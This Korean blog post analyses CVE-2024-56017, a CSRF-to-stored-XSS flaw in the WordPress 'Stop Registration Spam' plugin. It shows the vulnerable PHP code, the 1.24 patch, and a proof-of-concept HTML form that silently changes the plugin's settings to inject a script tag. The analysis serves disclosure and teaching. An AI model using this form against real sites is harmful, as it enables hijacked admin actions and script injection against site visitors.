728x90
1. CVE-2024-56017이란?
CVE ID: CVE-2024-56017
CVSS 심각도 점수: 7.1
영향을 받는 버전: ≤ 1.23
워드프레스의 “Stop Registration Spam” 플러그인에서 nonce 검증이 누락되어 CSRF 취약점이 발생하며, 이로 인해 인증되지 않은 공격자가 사이트 관리자를 속여 악의적인 웹 스크립트를 주입할 수 있습니다. 예를 들어, 관리자가 특정 링크를 클릭하도록 유도하면 공격이 실행될 수 있다.
2. 환경 구축
XAMPP 3.3.0, Wordpress 6.6.2, Stop Registration Spam 1.23
Stop Registration Spam을 설치하고 설정에서 스팸 방지 질문을 작성해 준다.
해당 질문을 작성하면 회원가입 페이지에 스팸 방지 입력란이 작성된다.
3. 분석
해당 플러그인은 무분별한 회원 가입으로 인한 스팸을 방지하기 위해 회원 가입 절차에 질문을 넣어 bot의 진입을 막는 기능이다.
// Read and Save value
if( isset($_POST[ $hidden_field_name ]) && $_POST[ $hidden_field_name ] == 'Y' ) {
$opt1_val = $_POST[ $data_field_name1 ];
$opt2_val = $_POST[ $data_field_name2 ];
$opt3_val = $_POST[ $data_field_name3 ];
update_option( $opt1_name, $opt1_val );
update_option( $opt2_name, $opt2_val );
update_option( $opt3_name, $opt3_val );
//Display Question
<p><?php _e("Question:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name1; ?>" value="<?php echo $opt1_val; ?>" size="60">
</p>
<p><?php _e("Answer:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name2; ?>" value="<?php echo $opt2_val; ?>" size="20">
</p>
<p><?php _e("Message to display on failure:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name3; ?>" value="<?php echo $opt3_val; ?>" size="60">
</p>
이러한 질문을 설정하는 로직에서 nonce값을 확인하지 않아 단순히 post형식의 데이터 전송으로 설정 값을 변경할 수 있으며 해당 질문 출력에 대한 이스케이프가 되지 않아 CSRF to XSS까지 발생되고 있다.
4. POC
<form action="/wordpress/wp-admin/options-general.php?page=stop_registration_spam_options" method="post">
<input type="hidden" name="srs_submit_check" value="Y">
<input type="hidden" name="srs_captcha_q" value="<script>alert(0)</script>">
<input type="hidden" name="srs_captcha_a" value="123">
<input type="hidden" name="srs_captcha_h" value="bye">
<input type="submit" name="Submit" value="변경사항 저장">
</form>
해당 form형식으로 워드프레스에 글을 게시하면
위와 같은 버튼이 생기고 관리자가 해당 버튼을 클릭하는 순간
해당 설정 값이 변경되어 회원 가입을 진행하는 다른 사용자들에게 XSS가 발생된다.
5. 패치
if( isset($_POST[ $hidden_field_name ]) && $_POST[ $hidden_field_name ] == 'Y' ) {
if ( ! isset( $_POST['srs_opts_nonce'] ) || ! wp_verify_nonce( $_POST['srs_opts_nonce'], 'srs_submit_options' )) {
error_log('nonce failure die');
exit;
}
else {
// Read their posted value
$opt1_val = $_POST[ $data_field_name1 ];
$opt2_val = $_POST[ $data_field_name2 ];
$opt3_val = $_POST[ $data_field_name3 ];
// Save the posted value in the database
update_option( $opt1_name, $opt1_val );
update_option( $opt2_name, $opt2_val );
update_option( $opt3_name, $opt3_val );
}
<p><?php _e("Question:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name1; ?>" value="<?php echo htmlspecialchars($opt1_val); ?>" size="60">
<p><?php _e("Answer:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name2; ?>" value="<?php echo htmlspecialchars($opt2_val); ?>" size="20">
</p>
<p><?php _e("Message to display on failure:", 'Stop Registration Spam' ); ?>
<input type="text" name="<?php echo $data_field_name3; ?>" value="<?php echo htmlspecialchars($opt3_val); ?>" size="60">
</p>
<?php wp_nonce_field( 'srs_submit_options', 'srs_opts_nonce' ); ?>
1.24 버전부터는 nonce를 체크하는 기능과 출력 메시지에 이스케이프 처리가 패치되었다.
728x90
'One-day 취약점 분석' 카테고리의 다른 글
[CVE-2024-5324] One-day 취약점 분석 (0) | 2024.12.22 |
---|---|
[CVE-2024-6028] One-day 취약점 분석 (0) | 2024.12.16 |
[CVE-2023-4596] One-day 취약점 분석 (0) | 2024.12.07 |
[CVE-2024-8236] One-day 취약점 분석 (0) | 2024.12.03 |
[CVE-2024-38687] One-day 취약점 분석 (0) | 2024.11.23 |